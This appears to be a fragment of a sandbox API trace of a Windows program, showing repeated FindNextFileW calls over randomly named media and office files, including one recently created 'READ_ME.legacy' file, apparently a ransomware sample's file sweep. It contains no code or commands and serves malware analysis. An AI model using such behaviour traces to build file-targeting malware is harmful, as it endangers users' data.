(in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20504960, ftCreationTime.dwHighDateTime=0x1d4cfe5, ftLastAccessTime.dwLowDateTime=0xfebb4f60, ftLastAccessTime.dwHighDateTime=0x1d4d134, ftLastWriteTime.dwLowDateTime=0xfebb4f60, ftLastWriteTime.dwHighDateTime=0x1d4d134, nFileSizeHigh=0x0, nFileSizeLow=0xfed4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="jW3yyW7Nouz.jpg", cAlternateFileName="JW3YYW~1.JPG")) returned 1 [0111.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0111.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0111.430] GetLastError () returned 0x0 [0111.430] SetLastError (dwErrCode=0x0) [0111.430] GetLastError () returned 0x0 [0111.431] SetLastError (dwErrCode=0x0) [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0111.431] GetLastError () returned 0x0 [0111.431] SetLastError (dwErrCode=0x0) [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0111.431] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81348980, ftCreationTime.dwHighDateTime=0x1d4d0bc, ftLastAccessTime.dwLowDateTime=0x615d9310, ftLastAccessTime.dwHighDateTime=0x1d4d123, ftLastWriteTime.dwLowDateTime=0x615d9310, ftLastWriteTime.dwHighDateTime=0x1d4d123, nFileSizeHigh=0x0, nFileSizeLow=0xa6a2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LQ8cpsXke.wav", cAlternateFileName="LQ8CPS~1.WAV")) returned 1 [0111.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.431] GetLastError () returned 0x0 [0111.431] SetLastError (dwErrCode=0x0) [0111.431] GetLastError () returned 0x0 [0111.431] SetLastError (dwErrCode=0x0) [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0111.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.431] GetLastError () returned 0x0 [0111.431] SetLastError (dwErrCode=0x0) [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0111.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0111.431] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a1b5d20, ftCreationTime.dwHighDateTime=0x1d4cc34, ftLastAccessTime.dwLowDateTime=0x81743700, ftLastAccessTime.dwHighDateTime=0x1d4d22f, ftLastWriteTime.dwLowDateTime=0x81743700, ftLastWriteTime.dwHighDateTime=0x1d4d22f, nFileSizeHigh=0x0, nFileSizeLow=0xb3ae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="MNs390DDv--XaD9.mkv", cAlternateFileName="MNS390~1.MKV")) returned 1 [0111.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0111.432] GetLastError () returned 0x0 [0111.432] SetLastError (dwErrCode=0x0) [0111.432] GetLastError () returned 0x0 [0111.432] SetLastError (dwErrCode=0x0) [0111.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0111.432] GetLastError () returned 0x0 [0111.432] SetLastError (dwErrCode=0x0) [0111.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0111.433] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c290b0, ftCreationTime.dwHighDateTime=0x1d4d499, ftLastAccessTime.dwLowDateTime=0x4eb9bb70, ftLastAccessTime.dwHighDateTime=0x1d4c7b5, ftLastWriteTime.dwLowDateTime=0x4eb9bb70, ftLastWriteTime.dwHighDateTime=0x1d4c7b5, nFileSizeHigh=0x0, nFileSizeLow=0xe5fc, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="mtdTmZhWX.jpg", cAlternateFileName="MTDTMZ~1.JPG")) returned 1 [0111.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d370 [0111.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0111.434] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71b9b540, ftCreationTime.dwHighDateTime=0x1d4c9d5, ftLastAccessTime.dwLowDateTime=0x36835db0, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x36835db0, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x14ea3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="N36jzbkDih.ppt", cAlternateFileName="N36JZB~1.PPT")) returned 1 [0111.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0111.434] GetLastError () returned 0x0 [0111.434] SetLastError (dwErrCode=0x0) [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0111.435] GetLastError () returned 0x0 [0111.435] SetLastError (dwErrCode=0x0) [0111.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0111.436] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5b6c10, ftCreationTime.dwHighDateTime=0x1d4c628, ftLastAccessTime.dwLowDateTime=0x6778c810, ftLastAccessTime.dwHighDateTime=0x1d4c95c, ftLastWriteTime.dwLowDateTime=0x6778c810, ftLastWriteTime.dwHighDateTime=0x1d4c95c, nFileSizeHigh=0x0, nFileSizeLow=0x15d59, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="N7p7MpyNnOCQiqSD.flv", cAlternateFileName="N7P7MP~1.FLV")) returned 1 [0111.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] GetLastError () returned 0x0 [0111.436] SetLastError (dwErrCode=0x0) [0111.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0111.437] GetLastError () returned 0x0 [0111.437] SetLastError (dwErrCode=0x0) [0111.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0111.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0111.437] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b8d020, ftCreationTime.dwHighDateTime=0x1d4cfe2, ftLastAccessTime.dwLowDateTime=0x79be4290, ftLastAccessTime.dwHighDateTime=0x1d4caf4, ftLastWriteTime.dwLowDateTime=0x79be4290, ftLastWriteTime.dwHighDateTime=0x1d4caf4, nFileSizeHigh=0x0, nFileSizeLow=0x16f24, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="N9ikaULK4pWv DBBCI.m4a", cAlternateFileName="N9IKAU~1.M4A")) returned 1 [0111.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0111.438] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0111.438] GetLastError () returned 0x0 [0111.438] SetLastError (dwErrCode=0x0) [0111.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0111.438] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b2270, ftCreationTime.dwHighDateTime=0x1d4c895, ftLastAccessTime.dwLowDateTime=0x16657890, ftLastAccessTime.dwHighDateTime=0x1d4c602, ftLastWriteTime.dwLowDateTime=0x16657890, ftLastWriteTime.dwHighDateTime=0x1d4c602, nFileSizeHigh=0x0, nFileSizeLow=0x505e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NNT2Q-EUeYTHvp-uTx.mp4", cAlternateFileName="NNT2Q-~1.MP4")) returned 1 [0111.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0111.439] GetLastError () returned 0x0 [0111.439] SetLastError (dwErrCode=0x0) [0111.439] GetLastError () returned 0x0 [0111.440] SetLastError (dwErrCode=0x0) [0111.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0111.440] GetLastError () returned 0x0 [0111.440] SetLastError (dwErrCode=0x0) [0111.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0111.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0111.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0111.441] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bf13eb0, ftCreationTime.dwHighDateTime=0x1d4d3e7, ftLastAccessTime.dwLowDateTime=0x6a946240, ftLastAccessTime.dwHighDateTime=0x1d4ca54, ftLastWriteTime.dwLowDateTime=0x6a946240, ftLastWriteTime.dwHighDateTime=0x1d4ca54, nFileSizeHigh=0x0, nFileSizeLow=0xd7fa, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="nZuGsnB03RDCt_Z.odp", cAlternateFileName="NZUGSN~1.ODP")) returned 1 [0111.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.443] GetLastError () returned 0x0 [0111.444] SetLastError (dwErrCode=0x0) [0111.444] GetLastError () returned 0x0 [0111.444] SetLastError (dwErrCode=0x0) [0111.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.444] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.445] GetLastError () returned 0x0 [0111.445] SetLastError (dwErrCode=0x0) [0111.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0111.445] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514e40f0, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x86e2a330, ftLastAccessTime.dwHighDateTime=0x1d4cbc6, ftLastWriteTime.dwLowDateTime=0x86e2a330, ftLastWriteTime.dwHighDateTime=0x1d4cbc6, nFileSizeHigh=0x0, nFileSizeLow=0x1057f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="oPswvJrfbiTTgr2a.mp3", cAlternateFileName="OPSWVJ~1.MP3")) returned 1 [0111.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0111.445] GetLastError () returned 0x0 [0111.445] SetLastError (dwErrCode=0x0) [0111.446] GetLastError () returned 0x0 [0111.446] SetLastError (dwErrCode=0x0) [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0111.446] GetLastError () returned 0x0 [0111.446] SetLastError (dwErrCode=0x0) [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0111.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0111.446] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4224cf0, ftCreationTime.dwHighDateTime=0x1d4c740, ftLastAccessTime.dwLowDateTime=0x300bddf0, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x300bddf0, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x4f9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="QFGPRrQMhX.wav", cAlternateFileName="QFGPRR~1.WAV")) returned 1 [0111.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0111.446] GetLastError () returned 0x0 [0111.446] SetLastError (dwErrCode=0x0) [0111.446] GetLastError () returned 0x0 [0111.446] SetLastError (dwErrCode=0x0) [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0111.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0111.446] GetLastError () returned 0x0 [0111.446] SetLastError (dwErrCode=0x0) [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0111.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0111.446] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0111.446] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b879650, ftCreationTime.dwHighDateTime=0x1d4d0ac, ftLastAccessTime.dwLowDateTime=0x369186c0, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0x369186c0, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x12b0d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="qUDO7qfocRy.flv", cAlternateFileName="QUDO7Q~1.FLV")) returned 1 [0111.446] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0111.447] GetLastError () returned 0x0 [0111.447] SetLastError (dwErrCode=0x0) [0111.447] GetLastError () returned 0x0 [0111.447] SetLastError (dwErrCode=0x0) [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0111.447] GetLastError () returned 0x0 [0111.447] SetLastError (dwErrCode=0x0) [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0111.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0111.447] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ffb63a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1ffb63a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2024368, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0111.447] GetLastError () returned 0x0 [0111.447] SetLastError (dwErrCode=0x0) [0111.447] GetLastError () returned 0x0 [0111.447] SetLastError (dwErrCode=0x0) [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0111.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0111.447] GetLastError () returned 0x0 [0111.447] SetLastError (dwErrCode=0x0) [0111.447] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.447] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.447] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1064aa80, ftCreationTime.dwHighDateTime=0x1d4c754, ftLastAccessTime.dwLowDateTime=0x22ef5c70, ftLastAccessTime.dwHighDateTime=0x1d4d502, ftLastWriteTime.dwLowDateTime=0x22ef5c70, ftLastWriteTime.dwHighDateTime=0x1d4d502, nFileSizeHigh=0x0, nFileSizeLow=0x3e2b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="rztQtmpaTSoI.png", cAlternateFileName="RZTQTM~1.PNG")) returned 1 [0111.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0111.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0111.448] GetLastError () returned 0x0 [0111.448] SetLastError (dwErrCode=0x0) [0111.448] GetLastError () returned 0x0 [0111.448] SetLastError (dwErrCode=0x0) [0111.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0111.448] GetLastError () returned 0x0 [0111.448] SetLastError (dwErrCode=0x0) [0111.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0111.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0111.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0111.448] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeb9ce60, ftCreationTime.dwHighDateTime=0x1d4c892, ftLastAccessTime.dwLowDateTime=0xdc201a50, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xdc201a50, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x2bd2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SoQNWjs.mkv", cAlternateFileName="")) returned 1 [0111.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0111.448] GetLastError () returned 0x0 [0111.448] SetLastError (dwErrCode=0x0) [0111.448] GetLastError () returned 0x0 [0111.448] SetLastError (dwErrCode=0x0) [0111.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0111.448] GetLastError () returned 0x0 [0111.449] SetLastError (dwErrCode=0x0) [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d410 [0111.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d410 | out: hHeap=0x520000) returned 1 [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0111.449] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41aabb0, ftCreationTime.dwHighDateTime=0x1d4d43a, ftLastAccessTime.dwLowDateTime=0x281e07e0, ftLastAccessTime.dwHighDateTime=0x1d4c9b4, ftLastWriteTime.dwLowDateTime=0x281e07e0, ftLastWriteTime.dwHighDateTime=0x1d4c9b4, nFileSizeHigh=0x0, nFileSizeLow=0x1687e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="swc8rzeKxjOb-H.mkv", cAlternateFileName="SWC8RZ~1.MKV")) returned 1 [0111.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0111.449] GetLastError () returned 0x0 [0111.449] SetLastError (dwErrCode=0x0) [0111.449] GetLastError () returned 0x0 [0111.449] SetLastError (dwErrCode=0x0) [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0111.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0111.449] GetLastError () returned 0x0 [0111.449] SetLastError (dwErrCode=0x0) [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0111.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cb8 | out: hHeap=0x520000) returned 1 [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0111.449] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813cab70, ftCreationTime.dwHighDateTime=0x1d4d4d0, ftLastAccessTime.dwLowDateTime=0xd21bf910, ftLastAccessTime.dwHighDateTime=0x1d4c8c8, ftLastWriteTime.dwLowDateTime=0xd21bf910, ftLastWriteTime.dwHighDateTime=0x1d4c8c8, nFileSizeHigh=0x0, nFileSizeLow=0xeefe, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="XFAJVVyJEUWSh.doc", cAlternateFileName="XFAJVV~1.DOC")) returned 1 [0111.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.449] GetLastError () returned 0x0 [0111.449] SetLastError (dwErrCode=0x0) [0111.449] GetLastError () returned 0x0 [0111.449] SetLastError (dwErrCode=0x0) [0111.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.450] GetLastError () returned 0x0 [0111.450] SetLastError (dwErrCode=0x0) [0111.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0111.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0111.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0111.450] FindNextFileW (in: hFindFile=0x5c57d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1938b180, ftCreationTime.dwHighDateTime=0x1d4c7de, ftLastAccessTime.dwLowDateTime=0xfcb87700, 